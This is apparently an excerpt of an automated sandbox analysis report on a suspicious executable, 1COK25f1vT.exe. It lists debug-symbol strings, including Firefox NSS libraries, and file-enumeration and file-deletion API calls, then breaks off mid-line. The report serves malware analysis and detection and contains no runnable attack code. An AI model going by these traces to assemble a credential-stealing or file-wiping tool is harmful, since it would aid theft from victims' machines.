Source:	Binary string: ucrtbase.pdbUGP source: 1COK25f1vT.exe, 0000000C.00000003.489027569.000000001F308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, ucrtbase.dll.12.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, api-ms-win-core-profile-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491826874.00000000203B8000.00000004.00000001.sdmp, api-ms-win-crt-time-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nssdbm3.dll.12.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-handle-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475799639.000000001F998000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-2-0.dll.12.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471958408.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491319974.000000002031C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.472715273.000000001F9A0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-datetime-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477468468.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491586380.0000000020354000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477869582.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-crt-conio-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.469680104.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.470488936.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-localization-l1-2-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479960511.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491671682.0000000020370000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.480478688.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491685778.0000000020374000.00000004.00000001.sdmp, api-ms-win-crt-math-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491349501.0000000020324000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.473845022.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491334003.0000000020320000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491319974.000000002031C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.12.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471221878.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471958408.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdb source: 1COK25f1vT.exe, 0000000C.00000003.490976694.000000001F304000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489151743.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.493685455.000000001F978000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490948392.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, vcruntime140.dll.12.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491708487.000000002037C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491671682.0000000020370000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491685778.0000000020374000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.480866812.000000001F998000.00000004.00000001.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491836442.00000000203BC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491826874.00000000203B8000.00000004.00000001.sdmp, api-ms-win-crt-utility-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.475000686.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-core-timezone-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nssdbm3.dll.12.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.475000686.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475402246.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-core-string-l1-1-0.dll.12.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: 1COK25f1vT.exe, 0000000C.00000003.485203963.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492268054.000000001F688000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485153671.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, msvcp140.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.466563733.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-file-l2-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491775740.0000000020398000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491748363.0000000020388000.00000004.00000001.sdmp, api-ms-win-crt-process-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.469680104.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479481362.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479096628.000000001F990000.00000004.00000001.sdmp, api-ms-win-crt-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.482506212.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482913611.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491806581.00000000203B4000.00000004.00000001.sdmp, api-ms-win-crt-string-l1-1-0.dll.12.dr

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0041006C FindFirstFileW,FindFirstFileW,	12_2_0041006C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414808 FindFirstFileW,	12_2_00414808
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00413030 FindFirstFileW,FindNextFileW,FindClose,	12_2_00413030
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004099C0 FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW,	12_2_004099C0
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040A9E4 FindFirstFileW,FindNextFileW,	12_2_0040A9E4
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040D988 FindFirstFileW,FindFirstFileW,	12_2_0040D988
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004119AC FindFirstFileW,FindNextFileW,FindClose,	12_2_004119AC
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414A90 FindFirstFileW,FindFirstFileW,	12_2_00414A90
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040FB40 FindFirstFileW,	12_2_0040FB40
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D6C FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D6C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414DE8 FindFirstFileW,FindNextFileW,	12_2_00414DE8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0041160C FindFirstFileW,FindNextFileW,FindClose,	12_2_0041160C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00409EF0 FindFirstFileW,GetFileAttributesW,	12_2_00409EF0
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	12_2_00413F58
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040F7A8 FindFirstFileW,FindNextFileW,	12_2_0040F7A8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00410064 FindFirstFileW,FindFirstFileW,	12_2_00410064
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00410068 FindFirstFileW,FindFirstFileW,	12_2_00410068
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040A9E3 FindFirstFileW,FindNextFileW,	12_2_0040A9E3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004119A8 FindFirstFileW,FindNextFileW,FindClose,	12_2_004119A8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040DB00 FindFirstFileW,	12_2_0040DB00
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040DB30 FindFirstFileW,	12_2_0040DB30
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D40 FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D40
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D48 FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D48
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D54 FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D54
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	12_2_00413F58
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00409EE8 FindFirstFileW,GetFileAttributesW,	12_2_00409EE8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040F798 FindFirstFileW,FindNextFileW,	12_2_0040F798
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040F7A0 FindFirstFileW,FindNextFileW,	12_2_0040F7A0
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_1_004148A0 __vbaStrCopy,__vbaStrCopy,__vbaStrCopy,__vbaRedim,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,FindFirstFileW,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaFr